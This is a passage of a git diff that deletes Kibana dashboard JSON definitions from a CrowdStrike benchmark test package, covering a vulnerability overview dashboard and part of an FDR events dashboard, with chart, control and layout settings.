a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5.json +++ /dev/null @@ -1,1111 +0,0 @@ -{ - "attributes": { - "controlGroupInput": { - "chainingSystem": "HIERARCHICAL", - "controlStyle": "oneLine", - "ignoreParentSettingsJSON": { - "ignoreFilters": false, - "ignoreQuery": false, - "ignoreTimerange": false, - "ignoreValidations": false - }, - "panelsJSON": { - "47c1726b-56fd-48c9-9378-07a165ac42b9": { - "explicitInput": { - "dataViewId": "logs-*", - "fieldName": "crowdstrike.vulnerability.confidence", - "id": "47c1726b-56fd-48c9-9378-07a165ac42b9", - "searchTechnique": "prefix", - "selectedOptions": [], - "singleSelect": true, - "sort": { - "by": "_count", - "direction": "desc" - }, - "title": "Confidence" - }, - "grow": true, - "order": 3, - "type": "optionsListControl", - "width": "medium" - }, - "5cc4f532-9959-46b8-ba73-8bd54c27891b": { - "explicitInput": { - "dataViewId": "logs-*", - "fieldName": "crowdstrike.vulnerability.status", - "id": "5cc4f532-9959-46b8-ba73-8bd54c27891b", - "searchTechnique": "prefix", - "selectedOptions": [], - "singleSelect": true, - "sort": { - "by": "_count", - "direction": "desc" - }, - "title": "Status" - }, - "grow": true, - "order": 2, - "type": "optionsListControl", - "width": "medium" - }, - "609aecfe-f39b-41ee-b60a-d5bb0fab67b0": { - "explicitInput": { - "dataViewId": "logs-*", - "fieldName": "vulnerability.severity", - "id": "609aecfe-f39b-41ee-b60a-d5bb0fab67b0", - "searchTechnique": "prefix", - "selectedOptions": [], - "singleSelect": true, - "sort": { - "by": "_count", - "direction": "desc" - }, - "title": "Severity" - }, - "grow": true, - "order": 1, - "type": "optionsListControl", - "width": "medium" - }, - "f4535e1b-f830-47b7-8bfc-72df5cca8d15": { - "explicitInput": { - "dataViewId": "logs-*", - "fieldName": "vulnerability.id", - "id": "f4535e1b-f830-47b7-8bfc-72df5cca8d15", - "searchTechnique": "prefix", - "selectedOptions": [], - "sort": { - "by": "_count", - "direction": "desc" - }, - "title": "Vulnerability" - }, - "grow": true, - "order": 0, - "type": "optionsListControl", - "width": "medium" - } - }, - "showApplySelections": false - }, - "description": "Overview of the CrowdStrike Vulnerability Logs.", - "kibanaSavedObjectMeta": { - "searchSourceJSON": { - "filter": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.vulnerability" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.vulnerability" - } - } - } - ], - "query": { - "language": "kuery", - "query": "" - } - } - }, - "optionsJSON": { - "hidePanelTitles": false, - "syncColors": false, - "syncCursor": true, - "syncTooltips": false, - "useMargins": true - }, - "panelsJSON": [ - { - "embeddableConfig": { - "enhancements": { - "dynamicActions": { - "events": [] - } - }, - "savedVis": { - "data": { - "aggs": [], - "searchSource": { - "filter": [], - "query": { - "language": "kuery", - "query": "" - } - } - }, - "description": "", - "params": { - "fontSize": 12, - "markdown": "## **Crowdstrike**\n\n### Navigation\n\n[Overview](/app/dashboards#/view/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750) \n\n[FDR](/app/dashboards#/view/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f)\n\n[Falcon](/app/dashboards#/view/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750) \n\n[Alert](/app/dashboards#/view/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c)\n\n[Host](/app/dashboards#/view/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c)\n\n**Vulnerability**\n\n### Overview\n\nThis dashboard shows detailed statistics and visualizations of ingested logs related to vulnerabilities detected by CrowdStrike.\n\nIt provides an overview of vulnerabilities over time and highlights the top 10 vulnerabilities and most affected hosts. The dashboard also breaks down vulnerabilities by severity, status, and confidence levels to aid in risk assessment and prioritization.\n", - "openLinksInNewTab": false - }, - "title": "", - "type": "markdown", - "uiState": {} - } - }, - "gridData": { - "h": 31, - "i": "cb1b46eb-0f11-4f81-86a1-47c016e9027a", - "w": 11, - "x": 0, - "y": 0 - }, - "panelIndex": "cb1b46eb-0f11-4f81-86a1-47c016e9027a", - "title": "Table of Contents", - "type": "visualization" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-c53d6776-c8f8-4c71-a375-69d006304e6b", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "currentIndexPatternId": "logs-*", - "layers": { - "c53d6776-c8f8-4c71-a375-69d006304e6b": { - "columnOrder": [ - "114b51a3-a012-44f0-9b81-255592bf9007", - "39d69aeb-b4f0-4f34-ab3a-d4c9e9d4504c" - ], - "columns": { - "114b51a3-a012-44f0-9b81-255592bf9007": { - "dataType": "date", - "isBucketed": true, - "label": "@timestamp", - "operationType": "date_histogram", - "params": { - "dropPartials": false, - "includeEmptyRows": true, - "interval": "auto" - }, - "scale": "interval", - "sourceField": "@timestamp" - }, - "39d69aeb-b4f0-4f34-ab3a-d4c9e9d4504c": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false, - "format": { - "id": "number", - "params": { - "decimals": 0 - } - } - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "indexPatternId": "logs-*", - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "accessors": [ - "39d69aeb-b4f0-4f34-ab3a-d4c9e9d4504c" - ], - "colorMapping": { - "assignments": [], - "colorMode": { - "type": "categorical" - }, - "paletteId": "eui_amsterdam_color_blind", - "specialAssignments": [ - { - "color": { - "type": "loop" - }, - "rule": { - "type": "other" - }, - "touched": false - } - ] - }, - "layerId": "c53d6776-c8f8-4c71-a375-69d006304e6b", - "layerType": "data", - "position": "top", - "seriesType": "line", - "showGridlines": false, - "xAccessor": "114b51a3-a012-44f0-9b81-255592bf9007" - } - ], - "legend": { - "isVisible": true, - "position": "right", - "shouldTruncate": false - }, - "preferredSeriesType": "line", - "title": "Empty XY chart", - "valueLabels": "hide" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsXY" - }, - "enhancements": {} - }, - "gridData": { - "h": 15, - "i": "de33aacf-71cb-4c66-bcf5-ecb9c5ada61e", - "w": 37, - "x": 11, - "y": 0 - }, - "panelIndex": "de33aacf-71cb-4c66-bcf5-ecb9c5ada61e", - "title": "Vulnerability over time [Logs Crowdstrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-a43eff7e-1ae6-4159-a295-2c753dffbd4a", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "currentIndexPatternId": "logs-*", - "layers": { - "a43eff7e-1ae6-4159-a295-2c753dffbd4a": { - "columnOrder": [ - "8d57da88-d081-47a0-b896-eb94553bd55b", - "4bf72fea-6f03-4a5f-8488-028886adaef9" - ], - "columns": { - "4bf72fea-6f03-4a5f-8488-028886adaef9": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false, - "format": { - "id": "number", - "params": { - "decimals": 0 - } - } - }, - "scale": "ratio", - "sourceField": "___records___" - }, - "8d57da88-d081-47a0-b896-eb94553bd55b": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Vulnerability", - "operationType": "terms", - "params": { - "accuracyMode": false, - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "4bf72fea-6f03-4a5f-8488-028886adaef9", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": false, - "parentFormat": { - "id": "terms" - }, - "secondaryFields": [], - "size": 10 - }, - "scale": "ordinal", - "sourceField": "vulnerability.id" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "indexPatternId": "logs-*", - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "columns": [ - { - "alignment": "right", - "columnId": "4bf72fea-6f03-4a5f-8488-028886adaef9", - "isMetric": true, - "isTransposed": false - }, - { - "columnId": "8d57da88-d081-47a0-b896-eb94553bd55b", - "isMetric": false, - "isTransposed": false - } - ], - "headerRowHeight": "custom", - "headerRowHeightLines": 3, - "layerId": "a43eff7e-1ae6-4159-a295-2c753dffbd4a", - "layerType": "data", - "paging": { - "enabled": false, - "size": 10 - }, - "rowHeight": "single", - "rowHeightLines": 1 - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsDatatable" - }, - "enhancements": {} - }, - "gridData": { - "h": 16, - "i": "da53bcd1-6533-49f4-b01a-f6f73ce41379", - "w": 19, - "x": 11, - "y": 15 - }, - "panelIndex": "da53bcd1-6533-49f4-b01a-f6f73ce41379", - "title": "Top 10 Vulnerability [Logs Crowdstrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-a43eff7e-1ae6-4159-a295-2c753dffbd4a", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "currentIndexPatternId": "logs-*", - "layers": { - "a43eff7e-1ae6-4159-a295-2c753dffbd4a": { - "columnOrder": [ - "8d57da88-d081-47a0-b896-eb94553bd55b", - "4bf72fea-6f03-4a5f-8488-028886adaef9" - ], - "columns": { - "4bf72fea-6f03-4a5f-8488-028886adaef9": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false, - "format": { - "id": "number", - "params": { - "decimals": 0 - } - } - }, - "scale": "ratio", - "sourceField": "___records___" - }, - "8d57da88-d081-47a0-b896-eb94553bd55b": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Hosts", - "operationType": "terms", - "params": { - "accuracyMode": false, - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "4bf72fea-6f03-4a5f-8488-028886adaef9", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": false, - "parentFormat": { - "id": "terms" - }, - "secondaryFields": [], - "size": 10 - }, - "scale": "ordinal", - "sourceField": "host.name" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "indexPatternId": "logs-*", - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "columns": [ - { - "alignment": "right", - "columnId": "4bf72fea-6f03-4a5f-8488-028886adaef9", - "isMetric": true, - "isTransposed": false - }, - { - "columnId": "8d57da88-d081-47a0-b896-eb94553bd55b", - "isMetric": false, - "isTransposed": false - } - ], - "headerRowHeight": "custom", - "headerRowHeightLines": 3, - "layerId": "a43eff7e-1ae6-4159-a295-2c753dffbd4a", - "layerType": "data", - "paging": { - "enabled": false, - "size": 10 - }, - "rowHeight": "single", - "rowHeightLines": 1 - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsDatatable" - }, - "enhancements": {} - }, - "gridData": { - "h": 16, - "i": "e23b231a-c029-433f-b6aa-0bc83960b159", - "w": 18, - "x": 30, - "y": 15 - }, - "panelIndex": "e23b231a-c029-433f-b6aa-0bc83960b159", - "title": "Top 10 Host [Logs Crowdstrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "f8493eb0-bbd5-47d9-9219-a326a5a73495": { - "columnOrder": [ - "4710b8dd-a68b-4d69-9348-5a5f58444e7b", - "b106a076-fc73-4cf0-b678-211f5e67be21" - ], - "columns": { - "4710b8dd-a68b-4d69-9348-5a5f58444e7b": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Severity", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "b106a076-fc73-4cf0-b678-211f5e67be21", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "size": 5 - }, - "scale": "ordinal", - "sourceField": "vulnerability.severity" - }, - "b106a076-fc73-4cf0-b678-211f5e67be21": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false, - "format": { - "id": "number", - "params": { - "decimals": 0 - } - } - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "categoryDisplay": "default", - "colorMapping": { - "assignments": [], - "colorMode": { - "type": "categorical" - }, - "paletteId": "eui_amsterdam_color_blind", - "specialAssignments": [ - { - "color": { - "type": "loop" - }, - "rule": { - "type": "other" - }, - "touched": false - } - ] - }, - "emptySizeRatio": 0, - "layerId": "f8493eb0-bbd5-47d9-9219-a326a5a73495", - "layerType": "data", - "legendDisplay": "show", - "metrics": [ - "b106a076-fc73-4cf0-b678-211f5e67be21" - ], - "nestedLegend": false, - "numberDisplay": "percent", - "primaryGroups": [ - "4710b8dd-a68b-4d69-9348-5a5f58444e7b" - ], - "truncateLegend": false - } - ], - "shape": "donut" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsPie" - }, - "enhancements": {} - }, - "gridData": { - "h": 16, - "i": "36af41e0-213c-4145-acac-25b167b317ea", - "w": 16, - "x": 0, - "y": 31 - }, - "panelIndex": "36af41e0-213c-4145-acac-25b167b317ea", - "title": "Vulnerability by Severity [Logs Crowdstrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "currentIndexPatternId": "logs-*", - "layers": { - "f8493eb0-bbd5-47d9-9219-a326a5a73495": { - "columnOrder": [ - "4710b8dd-a68b-4d69-9348-5a5f58444e7b", - "b106a076-fc73-4cf0-b678-211f5e67be21" - ], - "columns": { - "4710b8dd-a68b-4d69-9348-5a5f58444e7b": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Status", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "b106a076-fc73-4cf0-b678-211f5e67be21", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "secondaryFields": [], - "size": 5 - }, - "scale": "ordinal", - "sourceField": "crowdstrike.vulnerability.status" - }, - "b106a076-fc73-4cf0-b678-211f5e67be21": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false, - "format": { - "id": "number", - "params": { - "decimals": 0 - } - } - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "indexPatternId": "logs-*", - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "categoryDisplay": "default", - "colorMapping": { - "assignments": [], - "colorMode": { - "type": "categorical" - }, - "paletteId": "eui_amsterdam_color_blind", - "specialAssignments": [ - { - "color": { - "type": "loop" - }, - "rule": { - "type": "other" - }, - "touched": false - } - ] - }, - "emptySizeRatio": 0, - "layerId": "f8493eb0-bbd5-47d9-9219-a326a5a73495", - "layerType": "data", - "legendDisplay": "show", - "metrics": [ - "b106a076-fc73-4cf0-b678-211f5e67be21" - ], - "nestedLegend": false, - "numberDisplay": "percent", - "primaryGroups": [ - "4710b8dd-a68b-4d69-9348-5a5f58444e7b" - ], - "truncateLegend": false - } - ], - "shape": "donut" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsPie" - }, - "enhancements": {} - }, - "gridData": { - "h": 16, - "i": "f94636e8-135f-4861-97bd-63326fd5028a", - "w": 16, - "x": 16, - "y": 31 - }, - "panelIndex": "f94636e8-135f-4861-97bd-63326fd5028a", - "title": "Vulnerability by Status [Logs Crowdstrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "currentIndexPatternId": "logs-*", - "layers": { - "f8493eb0-bbd5-47d9-9219-a326a5a73495": { - "columnOrder": [ - "4710b8dd-a68b-4d69-9348-5a5f58444e7b", - "b106a076-fc73-4cf0-b678-211f5e67be21" - ], - "columns": { - "4710b8dd-a68b-4d69-9348-5a5f58444e7b": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Confidence", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "b106a076-fc73-4cf0-b678-211f5e67be21", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "secondaryFields": [], - "size": 5 - }, - "scale": "ordinal", - "sourceField": "crowdstrike.vulnerability.confidence" - }, - "b106a076-fc73-4cf0-b678-211f5e67be21": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false, - "format": { - "id": "number", - "params": { - "decimals": 0 - } - } - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "indexPatternId": "logs-*", - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "categoryDisplay": "default", - "colorMapping": { - "assignments": [], - "colorMode": { - "type": "categorical" - }, - "paletteId": "eui_amsterdam_color_blind", - "specialAssignments": [ - { - "color": { - "type": "loop" - }, - "rule": { - "type": "other" - }, - "touched": false - } - ] - }, - "emptySizeRatio": 0, - "layerId": "f8493eb0-bbd5-47d9-9219-a326a5a73495", - "layerType": "data", - "legendDisplay": "show", - "metrics": [ - "b106a076-fc73-4cf0-b678-211f5e67be21" - ], - "nestedLegend": false, - "numberDisplay": "percent", - "primaryGroups": [ - "4710b8dd-a68b-4d69-9348-5a5f58444e7b" - ], - "truncateLegend": false - } - ], - "shape": "donut" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsPie" - }, - "enhancements": {} - }, - "gridData": { - "h": 16, - "i": "07b2c938-6511-4d9a-b5d4-beccfea7055d", - "w": 16, - "x": 32, - "y": 31 - }, - "panelIndex": "07b2c938-6511-4d9a-b5d4-beccfea7055d", - "title": "Vulnerability by Confidence [Logs Crowdstrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "description": "", - "enhancements": {}, - "grid": { - "columns": { - "crowdstrike.vulnerability.cve.exploitability_score": { - "width": 205 - }, - "crowdstrike.vulnerability.cve.exprt_rating": { - "width": 181 - }, - "crowdstrike.vulnerability.cve.impact_score": { - "width": 184 - }, - "crowdstrike.vulnerability.suppression_info.is_suppressed": { - "width": 182 - }, - "vulnerability.id": { - "width": 142 - } - } - } - }, - "gridData": { - "h": 22, - "i": "4b7b148a-e583-4e97-83a1-ffddfc6c72c9", - "w": 48, - "x": 0, - "y": 47 - }, - "panelIndex": "4b7b148a-e583-4e97-83a1-ffddfc6c72c9", - "panelRefName": "panel_4b7b148a-e583-4e97-83a1-ffddfc6c72c9", - "title": "Vulnerability Essential Details [Logs Crowdstrike]", - "type": "search" - } - ], - "timeRestore": false, - "title": "[Logs Crowdstrike] Vulnerability", - "version": 2 - }, - "coreMigrationVersion": "8.8.0", - "created_at": "2025-03-08T11:24:58.039Z", - "id": "crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5", - "managed": false, - "references": [ - { - "id": "logs-*", - "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "de33aacf-71cb-4c66-bcf5-ecb9c5ada61e:indexpattern-datasource-layer-c53d6776-c8f8-4c71-a375-69d006304e6b", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "da53bcd1-6533-49f4-b01a-f6f73ce41379:indexpattern-datasource-layer-a43eff7e-1ae6-4159-a295-2c753dffbd4a", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "e23b231a-c029-433f-b6aa-0bc83960b159:indexpattern-datasource-layer-a43eff7e-1ae6-4159-a295-2c753dffbd4a", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "36af41e0-213c-4145-acac-25b167b317ea:indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "f94636e8-135f-4861-97bd-63326fd5028a:indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "07b2c938-6511-4d9a-b5d4-beccfea7055d:indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495", - "type": "index-pattern" - }, - { - "id": "crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c", - "name": "4b7b148a-e583-4e97-83a1-ffddfc6c72c9:panel_4b7b148a-e583-4e97-83a1-ffddfc6c72c9", - "type": "search" - }, - { - "id": "logs-*", - "name": "controlGroup_f4535e1b-f830-47b7-8bfc-72df5cca8d15:optionsListDataView", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "controlGroup_609aecfe-f39b-41ee-b60a-d5bb0fab67b0:optionsListDataView", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "controlGroup_5cc4f532-9959-46b8-ba73-8bd54c27891b:optionsListDataView", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "controlGroup_47c1726b-56fd-48c9-9378-07a165ac42b9:optionsListDataView", - "type": "index-pattern" - } - ], - "type": "dashboard", - "typeMigrationVersion": "10.2.0", - "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0" -} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f.json deleted file mode 100644 index c333d53ec8..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f.json +++ /dev/null @@ -1,1062 +0,0 @@ -{ - "attributes": { - "controlGroupInput": { - "chainingSystem": "HIERARCHICAL", - "controlStyle": "oneLine", - "ignoreParentSettingsJSON": { - "ignoreFilters": false, - "ignoreQuery": false, - "ignoreTimerange": false, - "ignoreValidations": false - }, - "panelsJSON": {}, - "showApplySelections": false - }, - "description": "Summarised overview for Crowdstrike FDR events.", - "kibanaSavedObjectMeta": { - "searchSourceJSON": { - "filter": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.fdr" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.fdr" - } - } - } - ], - "query": { - "language": "kuery", - "query": "" - } - } - }, - "optionsJSON": { - "hidePanelTitles": false, - "syncColors": false, - "syncCursor": true, - "syncTooltips": false, - "useMargins": true - }, - "panelsJSON": [ - { - "embeddableConfig": { - "enhancements": { - "dynamicActions": { - "events": [] - } - }, - "hidePanelTitles": false, - "savedVis": { - "data": { - "aggs": [], - "searchSource": { - "filter": [], - "query": { - "language": "kuery", - "query": "" - } - } - }, - "description": "", - "id": "", - "params": { - "fontSize": 12, - "markdown": "## **Crowdstrike**\n\n### Navigation\n\n[Overview](/app/dashboards#/view/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750) \n\n**FDR** \n\n[Falcon](/app/dashboards#/view/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750) \n\n[Alert](/app/dashboards#/view/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c)\n\n[Host](/app/dashboards#/view/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c)\n\n[Vulnerability](/app/dashboards#/view/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5)\n\n### Overview\n\nThis dashboards shows statistics specific to Alerts and their different alert types that is received from Crowdstrike FDR.\n\n", - "openLinksInNewTab": false - }, - "title": "", - "type": "markdown", - "uiState": {} - } - }, - "gridData": { - "h": 57, - "i": "4d55749a-c4b7-42ad-8e6f-5363c97aae61", - "w": 7, - "x": 0, - "y": 0 - }, - "panelIndex": "4d55749a-c4b7-42ad-8e6f-5363c97aae61", - "title": "Table of Contents", - "type": "visualization" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-current-indexpattern", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-880420b9-97fb-4f5a-8dd2-36f95cb02182", - "type": "index-pattern" - } - ], - "state": { - "datasourceStates": { - "formBased": { - "layers": { - "880420b9-97fb-4f5a-8dd2-36f95cb02182": { - "columnOrder": [ - "45f3413c-e658-43ec-bf3a-ad25977fb32c", - "c90d7c88-034f-42f4-94d2-605ae294940e" - ], - "columns": { - "45f3413c-e658-43ec-bf3a-ad25977fb32c": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "user.name", - "operationType": "terms", - "params": { - "missingBucket": false, - "orderBy": { - "columnId": "c90d7c88-034f-42f4-94d2-605ae294940e", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "size": 5 - }, - "scale": "ordinal", - "sourceField": "user.name" - }, - "c90d7c88-034f-42f4-94d2-605ae294940e": { - "dataType": "number", - "isBucketed": false, - "label": "Count of records", - "operationType": "count", - "scale": "ratio", - "sourceField": "___records___" - } - }, - "incompleteColumns": {} - } - } - } - }, - "filters": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "columns": [ - { - "columnId": "45f3413c-e658-43ec-bf3a-ad25977fb32c", - "isTransposed": false - }, - { - "columnId": "c90d7c88-034f-42f4-94d2-605ae294940e", - "hidden": false, - "isTransposed": false - } - ], - "layerId": "880420b9-97fb-4f5a-8dd2-36f95cb02182", - "layerType": "data", - "rowHeight": "single", - "rowHeightLines": 1 - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsDatatable" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 14, - "i": "e48dfc31-ef5f-4696-904c-c5320e8dcac9", - "w": 21, - "x": 7, - "y": 0 - }, - "panelIndex": "e48dfc31-ef5f-4696-904c-c5320e8dcac9", - "title": "Top Users", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-c8088761-74a6-433a-a405-f26c709cebe3", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "c8088761-74a6-433a-a405-f26c709cebe3": { - "columnOrder": [ - "97e2d50d-d871-4922-b0f8-2d50b2ace84a", - "bbbbf917-0caa-41ee-89dc-18ea0f8bcfe3" - ], - "columns": { - "97e2d50d-d871-4922-b0f8-2d50b2ace84a": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "file.name", - "operationType": "terms", - "params": { - "missingBucket": false, - "orderBy": { - "columnId": "bbbbf917-0caa-41ee-89dc-18ea0f8bcfe3", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": false, - "size": 15 - }, - "scale": "ordinal", - "sourceField": "file.name" - }, - "bbbbf917-0caa-41ee-89dc-18ea0f8bcfe3": { - "dataType": "number", - "isBucketed": false, - "label": "Count of records", - "operationType": "count", - "scale": "ratio", - "sourceField": "___records___" - } - }, - "incompleteColumns": {} - } - } - } - }, - "filters": [], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "columns": [ - { - "columnId": "97e2d50d-d871-4922-b0f8-2d50b2ace84a", - "isTransposed": false - }, - { - "columnId": "bbbbf917-0caa-41ee-89dc-18ea0f8bcfe3", - 